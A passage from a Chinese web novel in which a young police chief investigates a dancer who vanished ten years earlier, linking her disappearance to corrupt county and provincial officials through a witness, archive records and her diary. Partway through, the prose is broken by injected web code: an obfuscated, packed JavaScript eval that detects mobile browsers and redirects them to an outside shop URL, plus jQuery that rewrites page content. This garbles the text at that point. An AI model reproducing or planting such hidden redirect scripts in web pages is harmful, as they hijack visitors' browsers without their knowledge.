老人猛地睁开眼,眼神里充满了恐惧。
他四下看了看,仿佛黑暗中藏着无数双耳朵。
“你……你怎么知道那是奥迪车?”老人的声音压得极低,“没错,是一辆黑色的奥迪。那时候全县都没这种好车。我看见红玉上了那辆车,车牌……车牌被遮住了一半,但我记得尾号是00多少。”
“尾号00……”
齐学斌心中一震。这不仅仅是豪车,这代表着极高的级别。
“小伙子,听我一句劝,别查了。那个人……现在的官更大了。
听说已经是省里哪个厅的副厅长了,甚至是厅长。
你们斗不过他的。郑在民就是因为那次‘拉皮条’有功,才从县委办主任爬上了副县长的位置。
这两年更是顺风顺水。这是一笔肮脏的交易,筹码就是一个无辜女孩的青春和生命啊!”
“是不是省文化厅的赵厅长?”
齐学斌突然问道。
他在来之前已经在档案里查过当年的接待记录,虽然很多都被涂改了,但还是由于蛛丝马迹指向了当时分管文教卫的副省长秘书,现任文化厅厅长赵立春。
老人一惊,手里的烟袋锅“啪嗒”一声掉在地上,摔成了两半。
“你……你真敢说啊!”
齐学斌弯腰捡起烟袋锅碎片,放在老人手里,语气如铁:“老团长,在这个世界上,只要是罪恶,就没有不敢说的。**偿命,欠债还钱。这是天理,也是国法。那个阿伟,现在还在乡下吗?”
老人看着眼前这个年轻的警察,那眼神让他想起了当年的阿伟,也是这么执着,这么不顾一切。
“在。就在柳林村隔壁的王家庄。他家就在村西头,一个破院子,整天放着《红色娘子军》的曲子……你们要是去,小心点。他现在不认人,手里总是拿着把斧头,谁靠近就砍谁。”
“谢谢。”
齐学斌敬了个礼,转身向外走去。
“小齐局长!”老人突然在他身后喊了一声。
齐学斌停下脚步。
“一定要找到红玉……哪怕是……尸骨。那孩子爱美,别让她在外面做孤魂野鬼。她怕黑。”
齐学斌没有回头,只是重重地点了点头,大步走出了剧场。
离开剧场之后齐学斌又前往清河县档案局那边想要再仔细地查查看当年还能找得到留存下来的一些档案说不定还会有些蛛丝马迹。
来到清河县档案局的老楼空气中弥漫着一股陈旧纸张发霉的味道。
一排排高大的铁皮架子上堆满了带着历史尘埃的档案盒像是一座座沉默的墓碑。
“齐局你要查十年前的文书档案?”
档案局的刘馆长是个五十多岁的老头带着厚厚的老花镜一脸为难眼神闪躲“那时候的档案还没数字化全是纸质的而且因为那年前后搞过一次大规模的清理很多东西都……不太好找了。再说了没有县里的批条这么多年的档案……”
“不好找也要找。”
齐学斌将**重重地拍在桌子上
刘馆长吓了一跳叹了口气指了指角落里的一堆箱子:“都在那儿了。那年之后县办转来了一批需要封存的都在那几个箱子里。你们自己翻吧我是老眼昏花帮不上什么忙喽。”
说完他背着手踱步出去了临走时还特意关上了门像是怕粘上什么晦气。
齐学斌和顾阗月对视一眼戴上白手套开始在那堆布满灰尘的档案里翻找。
“找到了!”
半小时后顾阗月从一个破旧的牛皮纸信封里抽出几张发黄的纸“这是十年前县剧团的演出日志摘要。”
齐学斌接过来看了看眉头瞬间皱了起来拧成了一个“川”字。
日志上关于那次省里慰问演出的记录只有短短一行字:“X月X日省文化厅慰问团莅临我县检查指导县剧团汇报演出圆满成功。”
而在这一页的下半部分原本应该记录详细人员名单、接待安排和领导批示的地方被人整整齐齐地撕掉了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135526|196253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“这撕痕很平整不是随意撕的是用裁纸刀裁下来的。”顾阗月仔细观察着断口“而且从纸张的氧化程度看应该是几年前撕的。做得很专业连页码都重新涂改过。”
“郑在民。
齐学斌冷哼一声,“除了他,当年作为县委办主任,没人有这个权力,也有这个动机去动档案局的东西。看来,老团长说的是真的,那天晚上的饭局,不仅仅是饭局,更是一场见不得光的交易。
“齐局,你看这个。
顾阗月又从信封最底下摸出一个小本子,封皮是红色的塑料,已经被压扁了,上面还沾着些干涸的红墨水,或者是……血迹?
翻开第一页,上面写着三个秀气的钢笔字:周红玉。
“这是……死者的日记?
“应该是被清理档案的人遗漏的,或者是有人故意藏在这儿的,想留个后手。顾阗月快速翻阅着日记本。
日记的内容大部分是关于练功的琐事,字里行间透着一个年轻女孩对舞台的热爱和对未来的憧憬。
但在最后几页,笔迹变得有些凌乱,甚至有些字是用力划破了纸张写下的。
“X月X日。郑主任今天又来找我了,说省里领导很看重我,只要我肯‘听话’,就能去省城当主演。他的眼神让我恶心,像是一条黏糊糊的蛇,一直在我的腿上扫来扫去。
“X月X日。阿伟说他会保护我。可他只是个道具师,能怎么办呢?我其实挺喜欢他的,虽然他不爱说话,但他看我的眼神很干净。不像那些当官的,全是欲望。
“X月X日(演出当天)。今天要上台了。那双红舞鞋真漂亮,是阿伟熬了三个通宵给我做的。他说,穿上它,我就是舞台上的女王。
无论发生什么,我都不会脱下它,这不仅是鞋,是我的尊严。如果……我说如果,我回不来了,希望阿伟能把这双鞋带走,找个干净的地方埋了。
日记到这里戛然而止。后面是一片空白,像是那个女孩突然中断的人生。
……